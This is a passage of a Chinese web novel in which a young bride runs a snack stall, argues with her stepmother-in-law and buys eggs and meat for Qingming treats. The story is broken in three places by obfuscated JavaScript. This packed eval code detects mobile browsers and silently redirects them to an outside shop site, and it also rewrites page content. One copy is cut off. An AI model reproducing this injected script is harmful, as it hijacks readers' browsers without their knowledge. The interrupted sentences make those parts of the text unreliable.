她立马觉得神清气爽,用扁担挑起空容器,就准备回村回家了。 然而到了那徐家门口,丁宝珠却侧身听了听,才悄悄推门进去,见院里没人,她就去放下扁担,可刚松了口气,却又听见了不知打哪来的李银屏的冷笑,说道: “哟,大忙人回来了?我还以为是逃了这家,不知和谁去逍遥快活了呢!” 丁宝珠皱起眉,看来徐晔和徐翊并不在家,不然她哪能讲出这么难听的话来? 她不动声色地先去水缸旁,那缸里有新打来的水,丁宝珠拿起水瓢先喝了一大口,现下的日子又有一波升温,看来自己以后也得带个容器去。 李银屏见丁宝珠理都不理她,更是气不打一处来,三步并两步地走过去,厉声道: “我和你讲话,你耳朵聋了?哪有做儿媳妇不回婆婆话的?快说,你到底出去做啥了?!” 丁宝珠抹抹嘴,云淡风轻地回道: “姨母这样大声,我耳朵都要聋了,听不清问题,我怎么回答?姨母还是先保护下自己的嗓子比较好。” “啥?你!——” 李银屏又想发作,却被丁宝珠抢先打断: “姨母想知道我去做什么,也没啥好隐瞒的,告诉姨母又有何妨——我只是外出摆摊子去挣钱了,村里有些妇人不都这么做的吗?她们能做,我为什么不能?” “你?摆摊挣钱?” 李银屏鼻尖嗤了一声,似乎是件可笑之事,再度冷笑道: “就凭你?能挣几个大钱?家里有那么多活儿不做,一大早就没影儿了,难不成你想躲活儿干?谁家做媳妇的像你这么懒?” 丁宝珠能无视聒噪,反正费的也是自别人的唾沫,可她不能接受无缘无故给自己扣帽子,便也学着冷笑道: “家里活儿一时没做又怎的?村里要毁灭了,还是家要塌了?这么急吼吼的做什么?再说我现在是徐晔的媳妇儿不假,可姨母你不也是爹的媳妇吗?我一时不在家,难道姨母你就瘫了还是残了,什么也做不得?那以前你又是如何操持家里的?” 丁宝珠噼里啪啦先问了一通,不等李银屏回话,她又哼声道: “今天赚的,我还没有细算,但毛估估也有个三十多文吧,姨母别急,我现在就回房算算去,等算好了,我再干活!” 她说完,头也不回地就回到屋里,啪地关上了房门,就留李银屏独自一人在原地又气又惊。 那村里传的果然没错,这丁宝珠就是一个大刺儿头,哪家儿媳妇敢这样骂婆婆的?可是……三十文?这些钱足以够一日的生活了,还比村里那些贫困户赚的多呢! 这丁宝珠当真这么厉害?可以往她不是跟着她爹做屠户的么?啥时候改行卖吃食,还赚钱了? 李银屏不明白,可很快她又想,赚了钱又怎样?最后还不是徐家的?再说父子俩这段日子也不能去深山捕猎,有了进项也算是好的。 但到底是愤懑难消,李银屏低声抱怨了几句,也是回了房。 而丁宝珠坐在桌边,将那鼓鼓囊囊的荷包里的铜板一股脑儿倒了出来,桌面哗啦啦作响,很快堆了一堆。 她乐滋滋地数了遍钱,可做生意还是要扣除一定成本才能算利润,也就是这时她才发现,或许有个账本会好些。 但因为丁家本就有个去读书的,所以丁宝珠知道那笔墨纸砚是有多贵,正因如此,那大房才陷入了一种死循环:既想放弃让丁笙去读书,也不想让这几年的努力打了水漂,不知这次去县城里考试,又会是个什么结局。 可笔墨纸砚她是买不起也还不至于买,那她还不能动动脑筋用些低配版了? 不过今儿也算作她第一次出摊了,所以那加加减减的倒也不复杂,丁宝珠算了会儿,惊喜地发现,方才她对李银屏说的数字还算少了,竟是要翻个番儿! 这一定是她多加了新品并且全部卖完的缘故,看来时而上新还是很重要的。 于是丁宝珠马上就想到,再过不久就是寒食清明了,一个非常适合踏青的日子,这种习俗通常伴随着许多带有特点的小吃,不正好是摆摊卖一波吃食的时刻? 心里计划得不错,但现实仍是要先过的。丁宝珠才把那些铜板给收了起来,就听门外有人敲门——那肯定不是李银屏。 丁宝珠去开门,门外的人是徐莹,她轻声说道: “大嫂,娘叫我过来,让你去和爹和大哥送饭去。” 徐莹看上去弱弱的,大抵是家里的氛围已经影响到了她。丁宝珠神情动容道: “知道了,你去吧。” 原来她还是晚回来了点,至少在家家户户都准备开始做午食的时刻她没有回来,那这午食自然就是李银屏做的了。 主心骨都不在,院里没有再展开桌椅,母女仨吃饭就在李银屏的屋子里吃。 丁宝珠敲门进门,那室内倒是有那么一丝热乎的香气。李银屏压根就不给她一个正眼,丁宝珠也懒得搭理她,上前去看,中午做的是夹杂着绿意的芥菜团子,旁边还有蘸酱,另外还有盘其他野菜炒的肉丝。 “大嫂,篮子在这里。” 徐莹往另一张桌上指着。丁宝珠答应了,可稍稍揭开那挡住的布头,却发现里面的量不过是徐晔和徐翊两人的而已。 看来这李银屏是根本没想着让自己吃午饭,也不知是要故意给自己个教训亦或是什么,反正绝对不会是忘了。 这她还要忍?什么事也比不过吃饭大! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434742|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁宝珠挑了挑眉,拿着篮子,作势要走,却在离开之前飞快地在桌上又拿了两个芥菜团子,叼在嘴里就转身离开,那迅雷不及掩耳之势把母女三人看怔住了,等回过神,前者早已是不见了身影。 于是丁宝珠一边吃着团子,一边往家里的田地走去。这芥菜团子分为两种形式的,一种是芥菜为馅料,一种是与面一起和了,最后皆是上锅去蒸。李银屏这次做的是后一种,芥菜碎末混杂在面团中,格外清爽。 而且她能尝得出来,这回可不是光用单一的面来做了,里面估计是掺杂了白面,应当就是自己在镇上买的那些,不过买的时候,原本主要的目的就是为了改善改善伙食,况且她就买了那么一小袋,想是连李银屏也不舍得放太多,甚至也没多说啥,看来她自己也想吃。 吃完了团子,算垫补过了,丁宝珠也来到了徐家的田地处。李银屏大抵真是有种多年媳妇熬成婆的感觉,自从她这个儿媳妇嫁进来后,什么都指使她做,特别是送饭这一项。 不过徐翊这个公公对自己还是有善意的,而徐晔嘛……也没那么糟糕,所以丁宝珠也愿意做这事儿,离开了那家,她还能摸鱼呢。 徐家的地不大,要种也是会比其他门户里的地率先种完的,但这种田,丁宝珠是真不怎么精通,可这次她望过去,竟发现田地上多了几处简易的木架子,徐晔徐翊正共同出力做着活计呢。 丁宝珠小心翼翼地凑过去,笑道: “爹,徐晔,可以吃午食了。” 徐翊徐晔转过身见到她,又各自擦了擦额上的汗,徐晔笑道: “行,晔儿,那我们就先休息休息吧,午后还能继续做。” “知道了,爹。” 他们再次去了那参天大树下,枝叶间隙里的光斑明晃晃地摇动着,洒下一片金黄色的痕迹。 丁宝珠还没打开篮子,徐翊瞧了眼盯着前者看的徐晔,主动问道: “晔儿媳妇今儿又做了啥好吃的了?” 一旁的徐晔抿了抿唇,不禁怀疑自己有那么明显吗? 丁宝珠顿了顿,不好意思道: “爹,今天是姨母做的饭,我出门做事儿去了,所以没来得及。” 徐翊打着圆场道:“没事儿,家里也不是没人在,咱们先吃吧。” 接着,还是让丁宝珠与徐晔坐近了。前者环视了圈,又见后者已经咬了一大口团子,便问道: “那些架子是啥?” “种的作物,有些长到后面要攀架的。”徐晔咀嚼着解释道,“还有,你不是说要种豆子么?有些豆子也是一样的,所以提早做些准备。” 丁宝珠愣了愣,她当时只是随口问的,也没想到他们竟然真的种下了,这一定把所剩的地都给占满了。 “……谢谢。” 那芥菜团子,徐晔两口就能吃下一个还不饱,听丁宝珠这么回答,竟也是愣然。 其实他早就觉得她变了,虽然他自己实际上也没见过她几回,但是一次次的讶异,可以说正在重塑他对她的印象。 手里的团子好像突然就没有味道了,徐晔不自在地撇过头,嘟囔道: “有啥好谢的,你不也是家里人了么?何况我对爹说了后,也是他主张再种那豆子的。” 丁宝珠瞧他那别扭样儿,暗笑一下——毕竟若不是他说了,徐翊又怎么会知道她想种豆子? 可就在这时却又想起了什么,她便问道: “我外出摆摊的事,你没和姨母和爹说么?” 提起这档子事情,徐晔的表情就骤然倏忽有些不好看起来。 43. 桃花酿 原来丁宝珠离开不久,徐晔顾着还要下地,没多久也是醒来了,同样是去穿衣洗漱,还提了木桶外出打水,把那水缸也给重新放满了。 只是打回来最后一桶水后,才进门,徐翊和李银屏也起身了,后者就直接问道: “晔儿,你媳妇跑哪里去了?咋不见人?” 这事也没法隐瞒,何况丁宝珠也没让自己瞒着,徐晔便向两人说了丁宝珠外出摆摊的事情。 然而徐翊还没说什么,李银屏听完却不乐意起来,摇头道: “咱家缺她吃还是缺她喝了?不做好自己该做的活儿,跑出去摆啥摊子,而且她说你就信了?可别是偷偷去做啥坏事去了!” “姨母,她真的是去摆摊了,何况也不是整日不回来。”徐晔听着莫名有些不舒服,但仍是耐着性子道,“我们之前就商量过了,这段日子咱家也没啥收入,干脆就让她试试,别家不也出门摆过摊子卖过东西?而且爹和姨母这些时日也尝到她的手艺了吧?” 徐翊听了,眼光一动,他倒是没想到这个儿媳妇竟然能做到这个份上。可李银屏却哼声道: “她给你吹啥枕边风了?你这么听她的?就算要做买卖,那也要本钱吧?她哪来的钱?” 听见这三个字,徐晔冷不丁脸上一热,片刻才回答道: “姨母你别这么说,她哪有那么做过?” 李银屏瞧他这幅模样,也是想起了那桩事,神情更不悦了些,不由得眯眼抱着双臂道: “我倒是忘了,她……哼,你啊你,就你是个傻的,她装一下有啥难的?难的还是你得看出她是在诓你呢,依我看,她压根还是不想嫁进来,找个理由就躲着了!” 徐翊这时开口劝道:“媳妇儿,你这么为难她做啥?又不是一直出去,今天不是才头一日么?而且她能想到这点不是挺好的?我和晔儿这时候确实没法有太多收入,只能紧着吃喝,这点你又不是不晓得!” 若说徐晔对她解释,李银屏还只是埋怨几句,可见徐翊也这么说,她就突然像是炸毛了一般,半叉着腰不满道: “咋了?你们吃了她做的几顿饭,她给你们灌迷魂汤了,你们这么向着她?就她那样的儿媳妇儿,不提前管教好,以后有你们够受的,我这还做错了?” 徐晔扁着嘴,忽然想起在丁家得知的事,立马问道: “姨母,你也别讲那么些了,我问你——当初迎亲喜宴那天,我媳妇娘家三婶她送了一篮鸡子过来,你给放哪去了?我们咋一个都没看见?” 李银屏不知话题怎么就转到了这,脸上闪过一丝惊慌,但马上就理直气壮地说道: “那是她娘家随的礼,就是我们家的东西了,我想咋用就咋用,怎的?不过是一篮鸡子,又不是啥金贵的东西,没了不就没了?” 徐翊听到这,冷下脸问道: “晔儿问了,你答就是了,扯那么多干啥?好端端一篮鸡子又咋可能消失?你还不说实话?” 见徐翊发话了,李银屏才不情不愿地回答: “……那篮鸡子,我给卖了换钱了,反正家里还有的吃,最近鸡子又涨价,出手了不好?我一个人还要操持着家里的生计呢!” 虽还想再说,可那鸡子卖都已经卖了,也回不来,要是再讲,那李银屏肯定不知还有多少句能说出,于是一个早晨就这样不欢而散——当然丁宝珠是不清楚的,那个时候她已经开始出摊了。 丁宝珠听完大概,没有回复,却是撇了撇嘴。 虽然她已经习惯李银屏的脸色,可今天她一回去就那么气势汹汹,总显得有问题,看来是早上有了气一直没消,就找她来去火呢。 可谁知火是没消,也许还被自己又煽了几下。丁宝珠想到这,哼笑道: “无所谓,反正我今儿去摆摊是赚钱了的,既然能赚钱,那为何不继续?这世上什么事也不能半途而废啊!再说你和爹又支持我,那也就够了。” 时常有丈夫向着自家人的情况,但按丁宝珠的观察,那徐翊徐晔父子俩还是对事不对人的,也能说在这状况下,有了这个底气,她才能继续自己的摆摊事业。 徐晔又拿了个团子吃,听她这么说,问道: “赚了?赚了多少?” “其实也不好说,因为我还想着去买点东西,好准备明天去卖的吃食。”丁宝珠托着下颏想着,“要是顺利,又积少成多,才能看到后续究竟是盈是亏。” 徐晔看着她,忽然就有种不太认识她的错觉,还像是他们之间隔着一条透明的隔阂一样。 他挠挠头,最后却只能说道: “好吧,你可以再试试,姨母她也不知咋了,老是针对你,你别和她一般见识就行。” 莫非是因为那件事?丁宝珠不自主想道。可如果是那件事,以她的脾气,怎么到现在也不说出来? 她不解,也只好摇摇头道: “嗯,我明白,好歹也是住在一起的,低头不见抬头见,只要我俩互怼的时候,你别在一旁拉偏架就行了。” 这可不是她开玩笑,现实里有的是这样的人。 徐晔听到这,不知不觉间微笑了笑: “我才不会那样呢,只要你安安分分的,我到时候再去多劝劝姨母,毕竟都是一家子了。” 究竟能不能劝动,丁宝珠不知道,她只知道自己又该为了生意而去买来相应的物品了。 这次的马蹄糕只做了一盘,但最后售罄的情况,证明还是有卖头的。制作马蹄糕又需要生浆和熟浆,那熟浆其实是糖水,而生浆则是马蹄粉与清水调和而成,所以买了一部分荸荠,实际上一次也用不完。 不过丁宝珠到底又是去买了一批荸荠回来,她推销时说的其实也没错,荸荠是个吃时节的果子,这季过完了,就得等到下一季才能吃到了,这时又不像她那里普遍可以一年四季都种植。 除此之外,她还买了一打最为便宜的草料纸,这种纸研墨写字写一个洇一个,困难的人家就算咬咬牙都不会买,只会用于别的用处。 而丁宝珠想着,她不用墨水来写字不就成了?再说她做的是账本,也不需要写什么长篇大论,那字能留在上面就行了。 她又用稻草杆子紧紧扎起一股,就像是笔杆子一样,然后在底端沾上厚厚的锅底灰,没有铅炭,那锅底灰也是能显现痕迹的。 先前的材料还没有用完,丁宝珠继续做凉糕和马蹄糕,以及桃花茶和杏花茶。 从邱大夫那里得到的杜仲,丁宝珠也全部处理好了,晾干之后用来煎杏花茶。只是那几棵桃花树转眼就快到了凋谢期,她后续让徐莹徐芝帮忙收集的桃花瓣,想了想,便没有继续再做桃花茶了。 丁宝珠把目光放在了自己做的那坛米酒之上。揭开覆盖物又打开盖子,迎面而来就是一股浓浓的甜酒香味,而做时在糯米中间戳的那个小洞里,早已有了不少鱼肚白色的浑浊液体。 这米酒放的时间越长,那酒液越多,香气越是扑鼻。只是这一坛子已是成了,好在她制了许多酒曲,使用的糯米量又是固定的,再做一坛就是。 但这次,她想要把那些桃花瓣也加进去,称作桃花酿,就连那酒液呈现的也是粉粉嫩嫩的颜色,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没有荸荠,自然做不成马蹄糕,虽说突然了点,但丁宝珠也没有慌张,只是谢绝了那小贩的好意,心里又盘算着该上什么新品了。 没有了马蹄糕,好在凉糕还有旧客来买,丁宝珠也就补了那空档,有些客人也熟悉了,她还有意无意地透露几句新品上线,果然引人追问。 再过几日就是寒食清明了,这种有着风俗的节日,不但规矩很多,要做的事也有许多,还得提前准备。 就在这天,那徐翊吩咐徐晔去采买一些用来扫墓的物品来。这徐家在象山村再往上数至多只有两三代人,自然是没啥祖坟的,但也有需要去扫墓纪念的人。丁宝珠想着,大概率就是徐晔那个难产而死,他生下来就没见过的亲娘。 徐晔的动作很快,最后买来了香烛、纸钱和一点果子,到了家就低头一言不发地折着纸元宝,整个人都是闷闷的。 丁宝珠这段日子也看出来,徐晔没传闻那样的脾气巨差,但乖张却是有的,和那几个所谓的朋友也没有那么亲密,性子有时还又倔又拧巴,简直和条解不开的麻绳差不多。 但起码这时她说话他不会暴起。丁宝珠想了想,便问道: “光是这些估计还不够,我那边酿了酒,还能再做些点心,到时候一起带过去好不好?” 徐晔的手上下极为熟练地翻腾着,毕竟他做这件事应该也有十来年了。他抬眼看了下她,思索片刻才道: “也好,爹让我和你一块儿去,让娘瞧瞧她的儿媳妇。” 这还是丁宝珠第一次听到他喊娘,虽不知他们一家究竟是个什么情况,可她也不会问出口,只是又问: “爹和姨母不去?” “姨母要回娘家祭祖,而爹他……他就不去了。” 徐晔含糊地回答着,什么理由都没讲,埋头继续折着元宝。 丁宝珠不再开口问了,看来这父子俩对自己的发妻与生母都是情深,也怪不得要这么提前就预备起来。 只是自己,可能也要开始准备起来了…… 44. 咸鸭蛋 这日一大早,丁宝珠没有出摊,而是挎着一个竹篮沿着路去了丁家。 估摸着这是一个早食都吃过的时辰,她推开木门,原本想着直接去目的地,却没想到迎面就遇上了在干活的柳萍。 柳萍一见着她,那脸上几乎是可以用惊慌来形容了,直接就上前来拉着她问道: “珠儿,你咋来了?” 丁宝珠笑道: “娘,你这么紧张做什么?我过来看看你还不成?” “你这孩子,迎亲那天,该说的话我没和你说?”柳萍微微蹙眉,口气略抱怨地说道,“一没事二没灾的就往娘家里跑,让村里人见着了,还不知会被讲啥闲话呢。” 丁宝珠这时倒是想起来了,柳萍的确给她说过这件事。可别说是她这位新媳妇了,就连她自己,也是只有过年时才回娘家看看,而且还不是新年那日,平常更是有什么大事才能去娘家,但那种大事,显然还是不发生会比较好。 嫁出去的女儿泼出去的水,这道理在这儿亘古流传,只有丁宝珠一人是铁定没法改变的,只好回答道: “娘,我知道这理儿,我刚和你开玩笑呢。我这次来,虽然也是想看看你们,但其实我是来找三婶的。” 柳萍听闻怔了怔,这素来是三房的人过来找他们,大女儿去找他们做啥? “你找你三婶做啥?”她不解地问。 “具体来讲,其实我是来找三叔三婶他俩的。”丁宝珠笑道,“我找他们买点鸡子回去。” 一听到那关键词,柳萍立刻就释然了,这丁家三房在家里养着动物,整个村都是清楚的,再加上偏偏只有他们养的好,所以也有一些村民上门来买东西,不用出村也方便。现在丁宝珠嫁到了徐家,难免要操持这方面的事,也就不奇怪了。 柳萍松下脸色,嘴里却嗔怪道: “你这孩子,一开始也不说清楚咯!还有,你非要找你婶子来买那鸡子,怕也是为了占点小便宜吧?可真有你的!你三叔三婶都在房里没出去呢,你自己去找吧。” 丁宝珠答应了,便去了三房那敲门,才敲到,她就听见从里面传来的姚丹的高声。 “来了来了!——哎哟,大侄女儿,你咋来了?快进来。” 丁宝珠道了句好,又嗅到一抹若有若无的香气,果然是已经吃过早食了。 她那小叔叔丁绍,正陪着丁宝姜在桌面上抓子儿玩,一见竟是丁宝珠来了,也是笑道: “没想到是大侄女儿来了,真是稀客啊!姜儿,快喊姐姐。” 这丁绍长得十分精瘦,颧骨还有些突出,这样的面相很容易就成了贼眉鼠眼之态,然而他却褪了那些贼溜溜的感觉,只剩下伶俐精明了,所以说有时候相由心生果真说得不假。 “小叔叔小婶婶别来无恙啊。”丁宝珠笑盈盈地说道,“我还是听徐晔讲的,上回迎亲,你们还送了一篮子鸡子?真是破费了啊。” 不管怎么说,那篮鸡子可能都是一天天等着攒下来的,没有功劳也有苦劳,虽说不知被李银屏拿去做什么了,三房的付出却是实打实的。 “嗐,这有啥的。”丁绍无所谓地摆摆手道,“只是一篮鸡子罢了,要不是平常有你妹子宝琴上山去捉虫子喂鸡,也没法每天都下蛋不是?” 说到这,那丁绍不知想到了什么,又是嘿嘿一笑道: “往长了讲,那也是我们两家合作得融洽不是么?所以说大侄女儿,你爹那……” 结果话音未落,他的臂膀就被旁边的姚丹给顶了一下,这才闭起了嘴。 姚丹转来笑着问: “大侄女儿吃过早食没有?在夫家那过得咋样?这次来不知有啥事啊?” 按辈分算姚丹也是她的长辈,多问候一声也没啥的,看来他们还一向认为做媳妇儿的不说一声就回娘家,那一定就是有事儿,更别提丁宝珠还没怎么到过三房那。 丁宝珠只当之前的话没听见,笑着答道:“在家吃过才来的。而我过来,自然是有好事来找你们了,之前让你们破费,这回不是来给你们生意了么?我想买点鸡子带回去。” 姚丹赶忙笑道: “我还以为是啥特别要紧的事情呢,原来是这,鸡子是有的,我带你去挑。” 说着,她朝丁绍比了个眼色,自己领着丁宝珠去房后。 丁绍还是继续带着丁宝姜抓子儿,但眼下似乎就没有太大的兴致了。虽然他很相信自家媳妇,可把东西卖给自家人,这笔买卖估计不太能做得成了。 那丁宝姜的脸廓生得与丁绍相似,然而五官却和姚丹是一个模子的,她见父亲意兴阑珊,把小石子丢到一边,突然说道: “爹,你知不知道,宝珠姐姐现在在村外的路段上做生意呢?” “哦?”丁绍被吸引过去,问道,“真的假的?” “当然是真的,现在村里也有人在说呢。”丁宝姜打着包票,“说卖的是点心,就连旁边有卖相同的点心的摊子都比不过呢。” 丁绍确实不清楚,他平日里和他那群动物打交道,出村还是为了去售卖,只是这一段时日他都没出过门。 那她这次忽然来买鸡子了,也不知要买多少,若是买的多了,难不成是用在那生意上的? 整个丁家都知道丁宝珠触柱后性格大变,没想到竟发展到了这个地步! 丁宝姜看丁绍不说话,却是一个劲儿地转着那双小眼睛,自己也没了探究的兴趣,直接把话题转移到了之后的寒食上,一会儿要说在院里扎秋千,一会儿说要去郊外踏青,把丁绍的注意力硬生生给掰了回来。 却说姚丹带着丁宝珠去房后,那些鸡下蛋后他们总会拿篮子攒着,地上一排篮子里,有的放满了大大小小的鸡子。 “大侄女儿,你要多少个?我给你数了。” 丁宝珠想了想,便道: “那就先要个一斤多吧。” “行。”姚丹答应下来,接过丁宝珠自带的挎篮就往里面装着鸡子,一边说道,“大侄女儿,如今的行价,这鸡子再贵也贵不多两文钱。咱们是一家人,我也不赚你啥,就按之前的价格,一文钱一枚鸡子,咋样?” “不用了,三婶,你挣点钱也不容易,还是就按这几日的价格来卖吧。”丁宝珠摇头劝道,“按他们的说法,我现在都要不算丁家人了,也就是个普通的来买鸡子的人而已。” “你这说的叫做啥话,咋还不是丁家人了呢?”姚丹一面装着鸡子一面改着话,又道,“既然你都这样,那我也不推了,就按照那价钱吧!” 姚丹在装鸡子的同时,丁宝珠往旁边一瞧,忽然见到几个被封着的胖肚罐子,心里一动,问道: “三婶,你最近有没有腌咸蛋?要是有,我也要些。” “有有有,上回我们只是卖了那腌的松花蛋,最近又有蛋下来了,所以腌着一直放在那没动呢。” 姚丹说着,装好了鸡子,又把那罐子的盖儿打开,里面露出裹在粗盐里的蛋,问道: “大侄女儿,这咸蛋,你要多少个?” 丁宝珠考虑了会儿,回答道:“也先给我一斤吧!” 于是姚丹在里面掏着咸蛋,还把上面的盐碎给擦干净了,这才放进了丁宝珠的挎篮里。 篮子里有了两斤蛋,也快要放满了。那一斤鸡子约莫有十个左右,而一斤咸蛋的数量也差不多。丁宝珠看着那些蛋,问道: “三婶,这些一共多少钱?” “鸡子一个两文,就算二十文。咸蛋要贵些,五文钱俩,就算二十五文,一共就要你四十文好了。” 姚丹利落地计算着,最后到底是给丁宝珠抹了零,人情世故这方面必须拉满。 已经到了这个地步,丁宝珠再推让,场景就显得不好看了,便从荷包里数了四十文钱出来,递过去后笑道: “三婶收下吧,说不定我这次用完了,还会来找你买呢。” “嗯?”姚丹收了钱,却疑问道,“你买来是要做啥?” 听说徐家加上丁宝珠也有六口人了,那鸡子倒是很快就能吃完,可是咸蛋那样咸,一颗就算是道菜了,怎么听着消耗很厉害的样子? “三婶不知道,我现在在村外摆摊做生意呢,马上就是寒食了,正好可以做点应景的新吃食去卖。” “哎呦,你啥时候做的这事儿?你夫家也同意了?” 姚丹连连称奇,她也是知道丁宝珠在出嫁前曾经去外面卖点东西过的,但那时谁也没放在心上,以为就是玩玩罢了,没想到去了夫家,竟然又不知不觉做了起来,看这一口气购买的架势,指不定做得还不错呢! 丁宝珠没回答太多,只是点点头道:“是啊,到时候有机会,三婶三叔可得过来光顾一下哦。” 姚丹清楚这底下的含义,也就笑哈哈道:“行啊,那时就去瞧瞧。” 再寒暄几句,丁宝珠道了谢,回到房里,又与丁绍丁宝姜告了别,这才回到二房那去见柳萍。 柳萍仍旧在做着针黹,丁宝珠问道: “娘,你知道我爹去干什么了吗?” “你爹?”柳萍抬起头,“你爹挑着肉拿去卖了,现在还不知在哪呢。不过现在时间还早,说不准还在村里……你问这干啥?” 丁宝珠贼笑道: “我这时问他,当然也是为了采买了,去其他任何地方买肉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463242|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定没有爹卖给我的肉好。” 柳萍感到一阵无语,愈发觉得眼前的女儿变得陌生起来——可那徐家也不见得市侩啊? “你现在咋成这样了,啥事儿都像是做生意一样?” 丁宝珠嘿嘿一笑,这才如实相告: “娘,那是因为,我现在就在做生意呀。” “啥?” 柳萍到底是亲娘,那反应比姚丹还要大,都快把手里的布头和针线都丢出去了一般,睁大眼问道: “你去做生意?又是和出嫁前那样去村外做吃食买卖?” “是啊,不然我买这些鸡子和咸蛋做什么?” 丁宝珠见柳萍立刻皱起眉来,还一股欲言又止的模样,而且是不同意居多,连忙把那话头全部揽了过来自己说道: “放心吧娘,毕竟徐家在这两季里其实也只是和其他人一样下地去,没法去深山打猎,我这也是为了家里能有个收入,所以徐晔他同意了的,公公也同意了,至于姨母……她也默认了的。况且我现在做得还好呢,几乎每次都有盈利,之后寒食,我更是想多准备一下。” 柳萍想着丁宝珠也大了,嫁出去后也能去操持一个小家了,脱口而出想说的话最后还是消失在了嘴里,化作一阵叹息,才道: “好吧,夫家都没啥意见,我还能不同意?只是你婆母那性子,对于这件事,估计不太会给你好脸色,但那究竟你是婆母,你退一步也就算了,我就担心你那脾气会和她起啥争执,再传了出去,那就不好了。” 唔,晚了,这件事情已经发生过不知多少次了…… 当然丁宝珠没这么说,否则柳萍一定又要絮叨了,而上述的那些所谓的大道理,也是她被磨平棱角后才悟出来的,现在也来告诉她了。 丁宝珠转而宽慰道: “我知道了,娘,时间不早了,我去找爹了。” “行,那你小心点,还有去外面做生意,卖完也可以回去了,龙蛇混杂的地儿,你机灵着些!”柳萍继续叮嘱道。 离开丁家,丁宝珠走在村里的泥巴路上,一边细细听着,一边看着有较粗的枝头上已经扎了个简易的秋千,旁边还有几个扎着双髻的小孩子在争着,像是都想着先荡。 照柳萍说的,丁宏也是挑着扁担游走在大街小巷中叫卖的,再加上他那副大嗓门,丁宝珠多走了会儿,果然听见丁宏的声音。 加快脚步,远远就见到丁宏这时正在给一个村民秤肉,等她到了那,那笔买卖也做好了。 “爹!”丁宝珠欢欣地喊了一声。 丁宏偏头看到自己,又看她拿着东西,也笑道: “咋了,要去买东西?” “爹,我想找你买点肉呢,省得还要出村了,你帮我挑一块儿呗?” 丁宏还不知丁宝珠具体想要做什么,有一段日子没见了,可乍一瞧她身上也没有什么异处,他一贯又是对后者有求必应,当即爽快地答应道: “这有啥难的,我给你挑就是了。你是要哪里的?肥肉么?倒还剩下些。” 村里的人们可以不吃肉,因为吃那油就算是吃到了,所以比起肉,能够榨油的肥肉更受欢迎,通常也是卖得最快的,甚至还有不少熟客早已经预定了,也是眼下时辰早,所以还剩,若是丁宝珠要,他肯定挑最好的给她。 丁宝珠笑道: “爹,家里油还有呢,我想要块精瘦肉,最好是里脊那儿的,你有吗?有的话我要一块儿。” 丁宏听闻愣了愣,一时不明白丁宝珠的想法。要说村里的人除了买肥肉,那就是买下水了,因为便宜,而精瘦肉则是处于一种不上不下的境地,比下水贵,又没肥肉那么有用,所以几乎没人特意去买。 何况丁宝珠跟着自己学过一些屠行里的知识,这道理理应也是知晓的。 但既然说了要,丁宏便在筐子里翻了翻,果真翻到一块儿里脊肉来,问: “这块儿咋样?除了这,还有几块。” 丁宝珠看着那新鲜的颜色,点头道: “好,那我要两斤。” 于是丁宏随意切了下上秤,正好两斤,也没有讲价,就让丁宝珠收好。后者却回绝道: “不了,爹,你还是说要多少钱吧,总不能让你的生意白做了。” “你是我女儿,又刚出嫁不久,这和生意有啥关系?”丁宏故作不悦道,“而且做娘家父母的,也没法去喝喜酒,还是你三叔三婶去的,又随礼了,这也就当我随礼了,你快收起来,我还要去别地卖肉呢!” 丁宝珠推脱不得,只能收下,买好了东西,她这才回去,并且想着马上把那些肉给加工成她所需的制品。 45. 寒食粥 马上就要到寒食了,但寒食和清明也没差几日,所以人们基本都是放在一起过的。在那时,人们除开去扫墓祭祖,就是去踏青郊游,少不得能开展一波饮食行业,尤其是还有某些特定的美食小吃存在。 可丁宝珠的那个小摊子想要突出,就必须要做些新一点的吃食——她这不就是在做准备了么? 提到清明时节雨纷纷,丁宝珠头一个想到的便是青团,其实一开始的青团是很简单的,后面开发的不同馅料却是越来越多,但这里条件有限,即使是创新,她也必须选能够做到的做。 而现在她的手里既有咸蛋也有新鲜的精瘦肉,所以她准备做蛋黄肉松馅儿的青团! 青团做起来不难,可那手工肉松却要多费时费力了。将那肉全都切成指头般大小的块状,再与起码五六种调料一起煮熟,把所有的肉汁都给挤干,研磨得烂烂的,用慢火炒得干干的,之后手撕成细丝,鼓捣两下,那如同茸丝一般的肉松就形成了,看上去十分轻盈蓬松。 一斤肉只能出大约三四两的肉松,丁宝珠把那两斤肉都做了,最后也不过得到了不满一斤的肉松。不过这蛋黄肉松馅儿的青团届时一定卖的贵,所以也不能一次性做太多,不然砸在自己手上就不好了。 其他的馅料做起来就比较轻松了,丁宝珠想着到时做四种馅料,两种是甜口的,两种是咸口的,再配上两种小吃,一种饮品,她的的摊子也就齐全了。 徐家平日里的饭食气味和其他农户也没什么太大区别,唯独这几日从灶房里传出来的不是咸鲜味就是甜味,引得人心里抓耳挠腮的。那李银屏更是为了眼不见心不烦,带了徐莹徐芝回娘家祭祖,她娘家实际上也就在邻村,离得不算远。 徐翊上头已没有了二老,也就同意了前者回娘家,反正家里还有人在。 没了李银屏,那徐翊徐晔自然不会多管她。只是丁宝珠也没那么不懂事,所以酿好的米酒,她还请前者尝了尝,如今不是夸她懂事,就是夸她顺心,丁宝珠反而有些赧然。 